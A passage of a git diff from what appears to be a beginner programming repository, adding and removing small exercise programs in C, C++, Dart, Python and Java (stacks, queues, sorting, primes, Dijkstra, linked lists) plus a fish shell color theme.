-{ - int num; - printf("Enter an integer: "); - scanf("%d", &num); - - // true if num is perfectly divisible by 2 - if (num % 2 == 0) - printf("%d is even.", num); - else - printf("%d is odd.", num); - return 0; -} diff --git a/Add Code Here/C/palindrome.c b/Add Code Here/C/palindrome.c new file mode 100644 index 00000000000..34150ab58e0 --- /dev/null +++ b/Add Code Here/C/palindrome.c @@ -0,0 +1,22 @@ +#include +int main() { + int n, reversed = 0, remainder, original; + printf("Enter an integer: "); + scanf("%d", &n); + original = n; + + // reversed integer is stored in reversed variable + while (n != 0) { + remainder = n % 10; + reversed = reversed * 10 + remainder; + n /= 10; + } + + // palindrome if orignal and reversed are equal + if (original == reversed) + printf("%d is a palindrome.", original); + else + printf("%d is not a palindrome.", original); + + return 0; +} diff --git a/Add Code Here/C/parallelly_calculate_pi.c b/Add Code Here/C/parallelly_calculate_pi.c deleted file mode 100644 index 2fe38df7bc1..00000000000 --- a/Add Code Here/C/parallelly_calculate_pi.c +++ /dev/null @@ -1,39 +0,0 @@ -// A program built with OpenMP that uses paralell programming to calculate a value for PI. -// This program also outputs the average time taken for the program to run. - -#include -#include -#include - -// Defines the number of times to run this program to calculate an average value for -// the time taken to run it -#define RUNS 10 - -int main(){ - - // n is a very large, arbitary integer - int n = 100000; - - float value=0; - long int total = 0; - double tStart=0, tCalc=0, tStop=0; - double timeTotal = 0; - for (int s=1; s<=RUNS; s++){ - total = 0; - tStart = omp_get_wtime(); - #pragma omp parallel for reduction(+:value) - for (int a=1; a<=n; a++){ - value = value + (1 / (1 + ((a-0.5)/n)*((a-0.5)/n))); - } - value = value/(float)n * 4; - - printf("Pi = %f\n", value); - tStop = omp_get_wtime(); - tCalc = tStop - tStart; - printf("Time taken = %f\n", tCalc); - if(s>3){ - timeTotal += tCalc; - } - } - printf("Average time taken = %f\n", (float)timeTotal/RUNS); -} \ No newline at end of file diff --git a/Add Code Here/C/performing basic operations in a stack using call by value b/Add Code Here/C/performing basic operations in a stack using call by value deleted file mode 100644 index 8e5382dc496..00000000000 --- a/Add Code Here/C/performing basic operations in a stack using call by value +++ /dev/null @@ -1,108 +0,0 @@ -#include -int push(int[],int); //here we have taken two argumnets ,one is integer array and second is variable to store value of TOP -int pop(int[],int); -void peek(int[],int); -void display(int[],int); -int isFull(int[],int); -int isEmpty(int[],int); -#define MAX 5 - -int push(int stack[],int top) -{ - int x; - printf("Enter the element: "); - scanf("%d",&x); - top++;//top value increased from -1 to 0 - stack[top]=x;//to store the element at 0th index of the stack - return top; -} - -int pop(int stack[],int top) -{ - printf("The element that is popped out is %d",stack[top]); - top--;// we have decremented the value of top when a number is popped out - return top;//to update the value in main we are returning top as it is call by value -} - -void peek(int stack[],int top) -{ - printf("The element on the top is: %d",stack[top]); -} - -void display(int stack[],int top) -{ - int temp; - temp=top; - printf("The elements in the stack are: "); - while(temp>=0) - { - printf("%d ",stack[temp] ); - temp--; - } -} - -int isFull(int stack[],int top) -{ - if(top==MAX-1) - { - return 4; - } -} - -int isEmpty(int stack[],int top) -{ - if(top==-1) - { - return -1; - } -} - -int main() -{ - int stack[MAX],top=-1,choice; - printf("Enter 1 for Push\nEnter 2 for Pop\nEnter 3 for Peek\nEnter 4 for Display\nEnter 5 for Exit\n"); - do - { - printf("\nEnter Your choice: "); - scanf("%d",&choice); - switch(choice) - { - case 1: if(top==isFull(stack,top)) - { - printf("The stack is full"); - break; - } - else - { - top=push(stack,top); - break; - } - - - case 2: if(top==isEmpty(stack,top)) - { - printf("The stack is empty"); - break; - } - else - { - top=pop(stack,top); - break; - } - - - case 3: peek(stack,top); - break; - - - case 4: display(stack,top); - break; - - case 5: break; - - default: printf("Invalid Choice"); - } -}while(choice!=5); -} - - diff --git a/Add Code Here/C/permutation and combination b/Add Code Here/C/permutation and combination deleted file mode 100644 index d9ddbd90ae0..00000000000 --- a/Add Code Here/C/permutation and combination +++ /dev/null @@ -1,55 +0,0 @@ -#include - -// function prototype declarations -long factorial(int); -long find_npr(int, int); -long find_ncr(int, int); - -int main() -{ - printf("\n\n\t\tStudytonight - Best place to learn\n\n\n"); - - int n, r; - long npr, ncr; - - printf("Enter the value of n and r respectively: \n\n"); - scanf("%d%d", &n, &r); - - // function calls - npr = find_npr(n, r); - ncr = find_ncr(n, r); - - printf("\n\n\n\t\t%dC%d = %ld\n", n, r, ncr); - printf("\n\n\t\t%dP%d = %ld\n", n, r, npr); - - printf("\n\n\t\t\tCoding is Fun !\n\n\n"); - return 0; -} - -/* - function definition for nCr -*/ -long find_ncr(int a, int b) -{ - return (factorial(a)/(factorial(b)*factorial(a-b))); -} - -/* - function definition for nPr -*/ -long find_npr(int a, int b) -{ - return (factorial(a)/factorial(a-b)); -} - -/* - recursive function definition for finding - factorial of a number -*/ -long factorial(int c) -{ - if(c == 1 || c == 0) - return 1; - else - return c*factorial(c-1); -} diff --git a/Add Code Here/C/potentiation.c b/Add Code Here/C/potentiation.c deleted file mode 100644 index 7e527f913d9..00000000000 --- a/Add Code Here/C/potentiation.c +++ /dev/null @@ -1,21 +0,0 @@ -#include -float pot (int a, int b){ - if(b==0 && a !=0) - return 1; - if(b>=1) - return a * pot (a, b-1); - if(b <= -1) - return 1.0/a * pot (a, b+1); - } -int main () { - int a, b; - float total; - scanf ("%d %d", &a, &b); - if(a == 0 && b <= 0){ - printf("undefined\n"); - } - else - total = pot(a,b); - printf ("%f\n", total); - return 0; -} diff --git a/Add Code Here/C/prime number b/Add Code Here/C/prime number deleted file mode 100644 index 64283246320..00000000000 --- a/Add Code Here/C/prime number +++ /dev/null @@ -1,30 +0,0 @@ -#include - -int main() { - - int n, i, flag = 0; - printf("Enter a positive integer: "); - scanf("%d", &n); - - // 0 and 1 are not prime numbers - // change flag to 1 for non-prime number - if (n == 0 || n == 1) - flag = 1; - - for (i = 2; i <= n / 2; ++i) { - - // if n is divisible by i, then n is not prime - // change flag to 1 for non-prime number - if (n % i == 0) { - flag = 1; - break; - } - } - - // flag is 0 for prime numbers - if (flag == 0) - printf("%d is a prime number.", n); - else - printf("%d is not a prime number.", n); - - return 0; diff --git a/Add Code Here/C/prime.c b/Add Code Here/C/prime.c deleted file mode 100644 index bdafab6e09d..00000000000 --- a/Add Code Here/C/prime.c +++ /dev/null @@ -1,31 +0,0 @@ -#include - -int main() { - - int n, i, flag = 0; - printf("Enter a positive integer:\n "); - scanf("%d", &n); - - // 0 and 1 are not prime numbers - // change flag to 1 for non-prime number - if (n == 0 || n == 1) - flag = 1; - - for (i = 2; i <= n / 2; ++i) { - - // if n is divisible by i, then n is not prime - // change flag to 1 for non-prime number - if (n % i == 0) { - flag = 1; - break; - } - } - - // flag is 0 for prime numbers - if (flag == 0) - printf("%d is a prime number.\n", n); - else - printf("%d is not a prime number.\n", n); - - return 0; -} diff --git a/Add Code Here/C/printstar.c b/Add Code Here/C/printstar.c deleted file mode 100644 index d5942e21107..00000000000 --- a/Add Code Here/C/printstar.c +++ /dev/null @@ -1,18 +0,0 @@ -#include - -int main() -{ - int n; - printf("Enter number\n"); - scanf("%d", &n); - for (int i = 0; i < n; i++) - { - for (int j = 0; j < i+1; j++) - { - printf("O"); - } - printf("\n"); - } - - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C/queue.c b/Add Code Here/C/queue.c deleted file mode 100644 index 293ad328756..00000000000 --- a/Add Code Here/C/queue.c +++ /dev/null @@ -1,102 +0,0 @@ -#include -#include -#define maxsize 5 -void insert(); -void delete(); -void display(); -int front = -1, rear = -1; -int queue[maxsize]; -void main () -{ - int choice; - while(choice != 4) - { - printf("\n*************************Main Menu*****************************\n"); - printf("\n=================================================================\n"); - printf("\n1.insert an element\n2.Delete an element\n3.Display the queue\n4.Exit\n"); - printf("\nEnter your choice ?"); - scanf("%d",&choice); - switch(choice) - { - case 1: - insert(); - break; - case 2: - delete(); - break; - case 3: - display(); - break; - case 4: - exit(0); - break; - default: - printf("\nEnter valid choice??\n"); - } - } -} -void insert() -{ - int item; - printf("\nEnter the element\n"); - scanf("\n%d",&item); - if(rear == maxsize-1) - { - printf("\nOVERFLOW\n"); - return; - } - if(front == -1 && rear == -1) - { - front = 0; - rear = 0; - } - else - { - rear = rear+1; - } - queue[rear] = item; - printf("\nValue inserted "); - -} -void delete() -{ - int item; - if (front == -1 || front > rear) - { - printf("\nUNDERFLOW\n"); - return; - - } - else - { - item = queue[front]; - if(front == rear) - { - front = -1; - rear = -1 ; - } - else - { - front = front + 1; - } - printf("\nvalue deleted "); - } - - -} - -void display() -{ - int i; - if(rear == -1) - { - printf("\nEmpty queue\n"); - } - else - { printf("\nprinting values .....\n"); - for(i=front;i<=rear;i++) - { - printf("\n%d\n",queue[i]); - } - } -} diff --git a/Add Code Here/C/queueDS.c b/Add Code Here/C/queueDS.c deleted file mode 100644 index 293ad328756..00000000000 --- a/Add Code Here/C/queueDS.c +++ /dev/null @@ -1,102 +0,0 @@ -#include -#include -#define maxsize 5 -void insert(); -void delete(); -void display(); -int front = -1, rear = -1; -int queue[maxsize]; -void main () -{ - int choice; - while(choice != 4) - { - printf("\n*************************Main Menu*****************************\n"); - printf("\n=================================================================\n"); - printf("\n1.insert an element\n2.Delete an element\n3.Display the queue\n4.Exit\n"); - printf("\nEnter your choice ?"); - scanf("%d",&choice); - switch(choice) - { - case 1: - insert(); - break; - case 2: - delete(); - break; - case 3: - display(); - break; - case 4: - exit(0); - break; - default: - printf("\nEnter valid choice??\n"); - } - } -} -void insert() -{ - int item; - printf("\nEnter the element\n"); - scanf("\n%d",&item); - if(rear == maxsize-1) - { - printf("\nOVERFLOW\n"); - return; - } - if(front == -1 && rear == -1) - { - front = 0; - rear = 0; - } - else - { - rear = rear+1; - } - queue[rear] = item; - printf("\nValue inserted "); - -} -void delete() -{ - int item; - if (front == -1 || front > rear) - { - printf("\nUNDERFLOW\n"); - return; - - } - else - { - item = queue[front]; - if(front == rear) - { - front = -1; - rear = -1 ; - } - else - { - front = front + 1; - } - printf("\nvalue deleted "); - } - - -} - -void display() -{ - int i; - if(rear == -1) - { - printf("\nEmpty queue\n"); - } - else - { printf("\nprinting values .....\n"); - for(i=front;i<=rear;i++) - { - printf("\n%d\n",queue[i]); - } - } -} diff --git a/Add Code Here/C/quicksort.c b/Add Code Here/C/quicksort.c deleted file mode 100644 index 21ac341e84b..00000000000 --- a/Add Code Here/C/quicksort.c +++ /dev/null @@ -1,54 +0,0 @@ -#include - -int part(int arr[],int p,int r) -{ - int temp; - int x=arr[r]; - int i=p-1; - int j; - for(j=p;j<=r-1;j++) - { - if(arr[j]<=x) - { - i++; - temp=arr[i]; - arr[i]=arr[j]; - arr[j]=temp; - } - } - temp=arr[i+1]; - arr[i+1]=arr[r]; - arr[r]=temp; - return(i+1); - -} -void quicksort(int arr[],int p,int r) -{ - - if(p -long long int fibo (long long int n){ - if(n==0) - return 0; - else if(n==1) - return 1; - else - return fibo(n-1) + fibo(n-2); - } - -int main () { - long long int n, total; - scanf ("%lld", &n); - total = fibo(n); - printf ("%d\n", total); - return 0; -} diff --git a/Add Code Here/C/reverseLL.c b/Add Code Here/C/reverseLL.c deleted file mode 100644 index 10e3c31c628..00000000000 --- a/Add Code Here/C/reverseLL.c +++ /dev/null @@ -1,63 +0,0 @@ -#include -#include - -struct node -{ - int data; - struct node * next; -}; - -struct node * head=NULL; - -void insert(int x){ - struct node *newnode=head; - newnode=(struct node *)malloc(sizeof(struct node )); - newnode->data=x; - newnode->next=NULL; - if(head==NULL) - head=newnode; - else{ - newnode->next=head; - head=newnode; - } -} -void display(){ - struct node *current=head; - printf("\n"); - while (current!=NULL) - { - printf("%d ",current->data); - current=current->next; - } - -} -void reverse(){ - struct node *current=head; - struct node *prev=NULL; - struct node *temp=NULL; - while (current!=NULL) - { - temp=current->next; - current->next=prev; - prev=current; - current=temp; - - } - head=prev; - -} - - -void main(){ - - int a[5]={1,2,3,4,5}; - for (int i = 4; i>=0; i--) - { - insert(a[i]); - - } - display(); - reverse(); - display(); - -} \ No newline at end of file diff --git a/Add Code Here/C/reverse_a_linkedlist.c b/Add Code Here/C/reverse_a_linkedlist.c deleted file mode 100644 index 263f8fad4a9..00000000000 --- a/Add Code Here/C/reverse_a_linkedlist.c +++ /dev/null @@ -1,65 +0,0 @@ -#include -#include - -struct node -{ - int data; - struct node * next; -}; - -struct node * head=NULL; - -void insert(int x){ - struct node *newnode=head; - newnode=(struct node *)malloc(sizeof(struct node )); - newnode->data=x; - newnode->next=NULL; - if(head==NULL) - head=newnode; - else{ - newnode->next=head; - head=newnode; - } -} -void display(){ - struct node *current=head; - printf("\n"); - while (current!=NULL) - { - printf("%d ",current->data); - current=current->next; - } - -} -void reverse(){ - struct node *current=head; - struct node *prev=NULL; - struct node *temp=NULL; - while (current!=NULL) - { - temp=current->next; - current->next=prev; - prev=current; - current=temp; - - } - head=prev; - -} - - -void main(){ - - int a[5]={1,2,3,4,5}; - for (int i = 4; i>=0; i--) - { - insert(a[i]); - - } - printf("linkedList"); - display(); - reverse(); - printf("reversedLinkedList"); - display(); - -} \ No newline at end of file diff --git a/Add Code Here/C/reverseanum.c b/Add Code Here/C/reverseanum.c deleted file mode 100644 index eb44b8f74cb..00000000000 --- a/Add Code Here/C/reverseanum.c +++ /dev/null @@ -1,11 +0,0 @@ -#include - -int main() -{ - int n, a; - printf("Enter the Number which you want to reverse\n"); - scanf("%d", &n); - a = n - (n/10)*10; - printf("Reversed Number:- %d", a); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C/seive.c b/Add Code Here/C/seive.c deleted file mode 100644 index 9788812f239..00000000000 --- a/Add Code Here/C/seive.c +++ /dev/null @@ -1,29 +0,0 @@ -#include - -const int N = 1e7; -int Prime[10000000]; - -void Seive() -{ - for (int i = 0; i < N; i++) - Prime[i] = 1; - Prime[0] = Prime[1] = 0; - for (int i = 2; i < N; i++) - if (Prime[i]) - for (int j = 2 * i; j < N; j += i) - Prime[j] = 0; -} - -int main() -{ - int n; - Seive(); - printf("Enter the number to check prime for\n"); - scanf("%d", &n); - if (Prime[n]) - printf("The number is a prime no\n"); - else - printf("The number is not a prime no\n"); - - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C/selection-insertion.c b/Add Code Here/C/selection-insertion.c deleted file mode 100644 index cae416dbd92..00000000000 --- a/Add Code Here/C/selection-insertion.c +++ /dev/null @@ -1,122 +0,0 @@ -// The following program does a comparison between Selection and Insertion sort in terms of time complexity. -// It generates 5 files with 100,000 random numbers in them and then sorts these number according to the sorting algorithm used. - -#include -#include -#include -#define LIMIT 100000 - -//creating files -char filename[5][15]={"numbers_1.dat","numbers_2.dat","numbers_3.dat","numbers_4.dat","numbers_5.dat"}; - -void selection_sort(int a[],int n) -{ - int i, j, min, temp; - //one by one traversing each number in array - for (i = 0; i < n-1; i++) - { - // Finding minimum number - min = i; - for (j = i+1; j < n; j++) - { - if (a[j] < a[min]) - { - min = j; - } - } - //swap if minimum number is found - if(min!=i) - { - temp=a[min]; - a[min]=a[i]; - a[i]=temp; - } - } -} - -void insertion_sort(int arr[], int n) -{ - int i, key, j; - //to go through each element from arr[1] to arr[n] - for (i = 1; i < n; i++) - { - key = arr[i]; //storing the element as temp - j = i - 1; - - while (j >= 0 && arr[j] > key)//to compare till arr[0] and value is greater than temp - { - arr[j + 1] = arr[j]; - j = j - 1; - } - arr[j + 1] = key; - } -} - -int main() -{ - struct timeval stop, start; - int i,temp,a; - int random_number; - int arr[LIMIT]; - FILE *file; - float diff_sel[5]; - float diff_ins[5]; - - //for loop for generating numbers, selection sort and insertion sort for 5 files - for (a=0;a<5;a++) - { - //to generate random numbers- file is opened, srand is used as seed with reference to time(0) - //random numbers are generated using rand function - file=fopen(filename[a],"w"); - srand((unsigned)time(0)); - i=0; - do - { - random_number = (int) (rand()%1000) ; - fprintf(file, "%d\n", random_number); - i++; - }while (i -#include -#include -int lexicographic_sort(const char* a, const char* b) { - return strcmp(a, b); -} - -int lexicographic_sort_reverse(const char* a, const char* b) { - return strcmp(b, a); -} - -#define CHARS 26 -int distinct_chars(const char *a) -{ - int dist = 0; - int chars[CHARS] = {0}; - - while (*a != '\0') { - int chr = (*a++) - 'a'; - if (chr < CHARS) - chars[chr]++; - } - - for (int i = 0; i < CHARS; i++) - if (chars[i]) - dist++; - - return dist; -} - -int sort_by_number_of_distinct_characters(const char* a, const char* b) { - int res = distinct_chars(a) - distinct_chars(b); - return (res) ? res : lexicographic_sort(a, b); -} - -int sort_by_length(const char* a, const char* b) { - int res = strlen(a) - strlen(b); - return (res) ? res : lexicographic_sort(a, b); -} - -/* simple bubble sort :) */ -void string_sort(char** arr, const int len,int (*cmp_func)(const char* a, const char* b)) { - int sorted = 0; - int top = len - 1; - while (!sorted) { - sorted = 1; - for (int i = 0; i < top; i++) { - if (cmp_func(arr[i], arr[i + 1]) > 0) { - char *tmp = arr[i]; - arr[i] = arr[i + 1]; - arr[i + 1] = tmp; - sorted = 0; - } - } - top--; - } -} - - - -int main() -{ - int n; - scanf("%d", &n); - - char** arr; - arr = (char**)malloc(n * sizeof(char*)); - - for(int i = 0; i < n; i++){ - *(arr + i) = malloc(1024 * sizeof(char)); - scanf("%s", *(arr + i)); - *(arr + i) = realloc(*(arr + i), strlen(*(arr + i)) + 1); - } - - string_sort(arr, n, lexicographic_sort); - for(int i = 0; i < n; i++) - printf("%s\n", arr[i]); - printf("\n"); - - string_sort(arr, n, lexicographic_sort_reverse); - for(int i = 0; i < n; i++) - printf("%s\n", arr[i]); - printf("\n"); - - string_sort(arr, n, sort_by_length); - for(int i = 0; i < n; i++) - printf("%s\n", arr[i]); - printf("\n"); - - string_sort(arr, n, sort_by_number_of_distinct_characters); - for(int i = 0; i < n; i++) - printf("%s\n", arr[i]); - printf("\n"); -} \ No newline at end of file diff --git a/Add Code Here/C/spiralOrderTraversal.c b/Add Code Here/C/spiralOrderTraversal.c new file mode 100644 index 00000000000..adae2f6b3e8 --- /dev/null +++ b/Add Code Here/C/spiralOrderTraversal.c @@ -0,0 +1,32 @@ +#include +#include +#include +#include + +int main() { + + int m, n; + scanf("%d%d", &m, &n); + int arr[m][n]; + for(int i = 0 ; i < m ; i++){ + for(int j = 0 ; j < n ; j++){ + scanf("%d", &arr[i][j]); + } + } + int top = 0, bottom = n - 1, left = 0, right = m - 1; + while(top <= bottom && left <= right){ + for(int i = left ; i <= right ; i++) + printf("%d ", arr[top][i]); + top++; + for(int i = top ; i <= bottom ; i++) + printf("%d ", arr[i][right]); + right--; + for(int i = right ; i >= left ; i--) + printf("%d ", arr[bottom][i]); + bottom--; + for(int i = bottom ; i >= top ; i--) + printf("%d ", arr[i][left]); + left++; + } + return 0; +} diff --git a/Add Code Here/C/stack.c b/Add Code Here/C/stack.c deleted file mode 100644 index 2a6d68b5ab4..00000000000 --- a/Add Code Here/C/stack.c +++ /dev/null @@ -1,98 +0,0 @@ -#include -#define max 10 -int st[max],top=-1; - -void push(int st[],int val); -int pop(int st[]); -int peek(int st[]); -void display(int st[]); - -int main (){ - int val,option; - do{ - printf("\n*****MAIN MENU*****"); - printf("\n 1. PUSH"); - printf("\n 2. POP"); - printf("\n 3. PEEK"); - printf("\n 4. Size"); - printf("\n 5. Display"); - printf("\n 6. Exit"); - printf("\n Enter your option : "); - scanf("%d",&option); - switch (option){ - case 1: - printf("\n Enter the value to be pushed : "); - scanf("%d",&val); - push(st,val); - break; - case 2: - val=pop(st); - if(val!=-1){ - printf("\n The value deleted from the stack is %d",val); - } - break; - case 3: - val=peek(st); - if(val!=-1){ - printf("\n The value at the top of stack is %d",val); - } - break; - case 4: - printf("Size of stack: %d",top+1); - break; - case 5: - display(st); - break; - case 6: - break; - default: - printf("Invalid Choice"); - break; - } - } while(option !=5); - return 0; -} - -void push(int st[],int val){ - if(top==max-1){ - printf("\n STACK OVERFLOW"); - } - else{ - top++; - st[top]=val; - } -} - -int pop(int st[]){ - int val; - if(top==-1){ - printf("\n STACK UNDERFLOW"); - return -1; - } - else{ - val=st[top]; - top--; - return val; - } -} - -int peek(int st[]){ - if(top==-1){ - printf("\n STACK EMPTY"); - return -1; - } - else{ - return st[top]; - } -} - -void display(int st[]){ - if(top==-1){ - printf("\n STACK EMPTY"); - } - else{ - for(int i=top;i>=0;i--){ - printf("%d ",st[i]); - } - } -} \ No newline at end of file diff --git a/Add Code Here/C/sumOfSubset.c b/Add Code Here/C/sumOfSubset.c new file mode 100644 index 00000000000..d6413bf0ef0 --- /dev/null +++ b/Add Code Here/C/sumOfSubset.c @@ -0,0 +1,49 @@ +#include +#define MAX 100 +int n,m; +int arr[MAX]; +int x[MAX]; +void sumOfSubsets(int k,int s,int r) +{ + int i; + x[k]=1; + if(s+arr[k]==m) + { + for(i=0;i=m) + { + x[k]=0; + sumOfSubsets(k+1,s,r-arr[k]); + } +} +int main() +{ + int i,t; + t=0; + printf("Number of elements:\n"); + scanf("%d",&n); + printf("Enter the elements:\n"); + for(i=0;i - -int main() - -{ - - int t,a,b,c,n,i,x1,x2; - - scanf("%d",&t); - - while(t>0) - - { - - scanf("%d%d%d",&a,&b,&c); - - scanf("%d",&n); - - for(i=0;i - -int main() -{ - int t, a, b, c, sum = 0; - - scanf("%d", &t); - while (t--) - { - scanf("%d %d %d", &a, &b, &c); - sum += a + b + c; - if (sum == 180) - { - printf("\nYES"); - } - else - { - printf("\nNO"); - } - } - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C/wordbreak.c b/Add Code Here/C/wordbreak.c deleted file mode 100644 index 659c874503a..00000000000 --- a/Add Code Here/C/wordbreak.c +++ /dev/null @@ -1,30 +0,0 @@ - -class Solution{ -public: - vector ans; - void check(string s,int n,unordered_set u,string tmp) - { - if(s.length()==0) - { - tmp.pop_back(); - ans.push_back(tmp); - return; - } - for(int i=1;i<=s.length();i++) - { - string l=s.substr(0,i); - string r=s.substr(i); - if(u.find(l)!=u.end()) - check(r,n,u,tmp+l+" "); - } - } - vector wordBreak(int n, vector& dict, string s) - { - //can use recursive method - unordered_set u; - for(int i=0;i +using namespace std; + +int main() +{ + int numberOfCourses = 6; + int studentId = 2; + int add = 0; + int i = 1; + + cout << "\nMy Name is Muhammad Saim Raza" << endl; + cout << "MY VU id is BC210419616" << endl; + cout << "\nCourse List in current semester" << endl; + + cout << "1. CS201 - Introduction to Programing" << endl; + cout << "2. CS201P - Introduction to Programing (Practical)" << endl; + cout << "3. ENG201 - Business and Technical English Writing" << endl; + cout << "4. MGT301 - Principles of Marketing" << endl; + cout << "5. MTH101 - Calculus And Analytical Geometry" << endl; + cout << "6. PHY101 - Physics" << endl; + + cout << "\nTotal Number of Courses = " << numberOfCourses << endl; + cout << "First digit of VU ID = " << studentId << endl; + + add = studentId + numberOfCourses; + + cout << "Sum of first digit of VUID and total courses = " << add << endl; + cout << "\n"; + + while (i <= add) + { + cout << i << ": Welcome to CS201 Introduction to Programming " << endl; + i++; + } +} \ No newline at end of file diff --git a/Add Code Here/Dart/armstrong_number.dart b/Add Code Here/Dart/armstrong_number.dart deleted file mode 100644 index 70c24f7075a..00000000000 --- a/Add Code Here/Dart/armstrong_number.dart +++ /dev/null @@ -1,17 +0,0 @@ -class ArmstrongNumbers { - bool isArmstrongNumber(int value) { - String number = value.toString(); - int noofDigits = number.length; - int finalRes = 0; - for (var x in number.split("")) { - int current = int.parse(x); - finalRes += power(current, noofDigits); - } - return finalRes == value; - } - - int power(int a, int b) { - if (b == 0) return 1; - return a * power(a, b - 1); - } -} diff --git a/Add Code Here/Dart/hello_world.dart b/Add Code Here/Dart/hello_world.dart deleted file mode 100644 index be08c5107c4..00000000000 --- a/Add Code Here/Dart/hello_world.dart +++ /dev/null @@ -1,3 +0,0 @@ -void main(){ - print("Hello World"); -} \ No newline at end of file diff --git a/Add Code Here/Dart/reverse_string.dart b/Add Code Here/Dart/reverse_string.dart deleted file mode 100644 index 553f5e2b0a2..00000000000 --- a/Add Code Here/Dart/reverse_string.dart +++ /dev/null @@ -1 +0,0 @@ -String reverse(String s) => s.split("").reversed.join(""); diff --git a/Add Code Here/Detect and remove loops or cycle in linked list #4420 b/Add Code Here/Detect and remove loops or cycle in linked list #4420 new file mode 100644 index 00000000000..7785d214fc2 --- /dev/null +++ b/Add Code Here/Detect and remove loops or cycle in linked list #4420 @@ -0,0 +1,53 @@ +class Node: + def __init__(self, data): + self.data = data + self.next = None + self.visited = False # to check if current node is visited or not + +# Function to detect and remove a loop in a linked list by modifying the structure +def detect_and_remove_loop(head): + + current = head + + while current is not None: + # If the current node has been visited, then there is a loop + if current.visited: + # Remove the loop by setting the next of the previous node to None + prev.next = None + print("Loop detected and removed") + return + + current.visited = True # mark current node as visited + prev = current + current = current.next + + print("No loop found") + +def print_list(head): + # Function to print the linked list + current = head + while current: + print(current.data, end=" -> ") + current = current.next + print("None") + + +# Creating a linked list with a loop for demonstration purposes +node1 = Node(1) +node2 = Node(2) +node3 = Node(3) +node4 = Node(4) +node5 = Node(5) + +node1.next = node2 +node2.next = node3 +node3.next = node4 +node4.next = node5 +node5.next = node2 # Creating a loop + + +# Detect and remove the loop +detect_and_remove_loop(node1) + +# Print the modified linked list +print_list(node1) diff --git a/Add Code Here/DfsGraphTraversal.java b/Add Code Here/DfsGraphTraversal.java new file mode 100644 index 00000000000..ceb9a06f435 --- /dev/null +++ b/Add Code Here/DfsGraphTraversal.java @@ -0,0 +1,42 @@ +import java.util.LinkedList; +import java.util.Stack; + +class DfsGraphTraversal { + private int V; // Number of vertices + private LinkedList adjList[]; // Adjacency list + + public DfsGraphTraversal(int v) { + V = v; + adjList = new LinkedList[v]; + for (int i = 0; i < v; i++) { + adjList[i] = new LinkedList<>(); + } + } + + // Add an edge to the graph + public void addEdge(int v, int w) { + adjList[v].add(w); + } + + // Depth-First Search (DFS) traversal + public void DFS(int startVertex) { + boolean[] visited = new boolean[V]; + Stack stack = new Stack<>(); + + visited[startVertex] = true; + stack.push(startVertex); + + while (!stack.isEmpty()) { + startVertex = stack.pop(); + System.out.print(startVertex + " "); + + for (Integer neighbor : adjList[startVertex]) { + if (!visited[neighbor]) { + visited[neighbor] = true; + stack.push(neighbor); + } + } + } + } +} + diff --git a/Add Code Here/Dijkstra.py b/Add Code Here/Dijkstra.py new file mode 100644 index 00000000000..423386f5eb4 --- /dev/null +++ b/Add Code Here/Dijkstra.py @@ -0,0 +1,61 @@ + +class Graph(): + + def __init__(self, vertices): + self.V = vertices + self.graph = [[0 for column in range(vertices)] + for row in range(vertices)] + + def printSolution(self, dist): + print("Vertex \t Distance from Source") + for node in range(self.V): + print(node, "\t\t", dist[node]) + + def minDistance(self, dist, sptSet): + + + min = 1e7 + + + for v in range(self.V): + if dist[v] < min and sptSet[v] == False: + min = dist[v] + min_index = v + + return min_index + + def dijkstra(self, src): + + dist = [1e7] * self.V + dist[src] = 0 + sptSet = [False] * self.V + + for cout in range(self.V): + + u = self.minDistance(dist, sptSet) + + sptSet[u] = True + + for v in range(self.V): + if (self.graph[u][v] > 0 and + sptSet[v] == False and + dist[v] > dist[u] + self.graph[u][v]): + dist[v] = dist[u] + self.graph[u][v] + + self.printSolution(dist) + +g = Graph(9) +g.graph = [[0, 4, 0, 0, 0, 0, 0, 8, 0], + [4, 0, 8, 0, 0, 0, 0, 11, 0], + [0, 8, 0, 7, 0, 4, 0, 0, 2], + [0, 0, 7, 0, 9, 14, 0, 0, 0], + [0, 0, 0, 9, 0, 10, 0, 0, 0], + [0, 0, 4, 14, 10, 0, 2, 0, 0], + [0, 0, 0, 0, 0, 2, 0, 1, 6], + [8, 11, 0, 0, 0, 0, 1, 0, 7], + [0, 0, 2, 0, 0, 0, 6, 7, 0] + ] + +g.dijkstra(0) + +ta diff --git a/Add Code Here/Factor.py b/Add Code Here/Factor.py new file mode 100644 index 00000000000..39c3ce60a90 --- /dev/null +++ b/Add Code Here/Factor.py @@ -0,0 +1,14 @@ + +num = 100 + +factors = [] +for i in range (1, num//2 + 1): + if ((num) % i == 0): + factors.append(i) + + +factors.append(num) +print(factors) + +# 9 digits = 20 sec +# 10 digits = 229.622 sec \ No newline at end of file diff --git a/Add Code Here/Find_unique_value.cpp b/Add Code Here/Find_unique_value.cpp new file mode 100644 index 00000000000..08a8ea0d282 --- /dev/null +++ b/Add Code Here/Find_unique_value.cpp @@ -0,0 +1,66 @@ +/*#include +using namespace std; + +void unique(int arr[], int n){ + int ans = 0; + for (int i = 0; i < n; i++) + { + ans = ans ^ arr[i]; + } + cout << "The unique value is " << ans << endl; + +} +int main(){ + int n; + cout << "Enter the total value "<< endl; + cin >> n; + + int arr[100]; + cout << "Put the elements " << endl; + for (int i = 0; i < n; i++) + { + cin >> arr[i]; + } + + unique(arr, n); +}*/ + +#include +using namespace std; + +void unique(int find[], int n) +{ + + for (int i = 0; i < n; i++) + { + for (int j = 0; j < n; j++) + { + if (i == j) + { + continue; + } + if (find[i] == find[j]) + { + cout << "The unique value is "<< find[i] << endl; + break; + } + + } + } + //cout << "The unique value is "<< find[i] << endl; +} +int main() +{ + int n; + cout << "Enter the value " << endl; + cin >> n; + + int find[100]; + cout << "Put the value " << endl; + for (int i = 0; i < n; i++) + { + cin >> find[i]; + } + + unique(find, n); +} \ No newline at end of file diff --git a/Add Code Here/Fish/gruvbox.fish b/Add Code Here/Fish/gruvbox.fish deleted file mode 100644 index a6778a45b5c..00000000000 --- a/Add Code Here/Fish/gruvbox.fish +++ /dev/null @@ -1,33 +0,0 @@ -# Gruvbox Color Palette -set -l foreground ebdbb2 -set -l selection 282828 -set -l comment 928374 -set -l red fb4934 -set -l orange fe8019 -set -l yellow fabd2f -set -l green b8bb26 -set -l cyan 8ec07c -set -l blue 83a598 -set -l purple d3869b - -# Syntax Highlighting Colors -set -g fish_color_normal $foreground -set -g fish_color_command $cyan -set -g 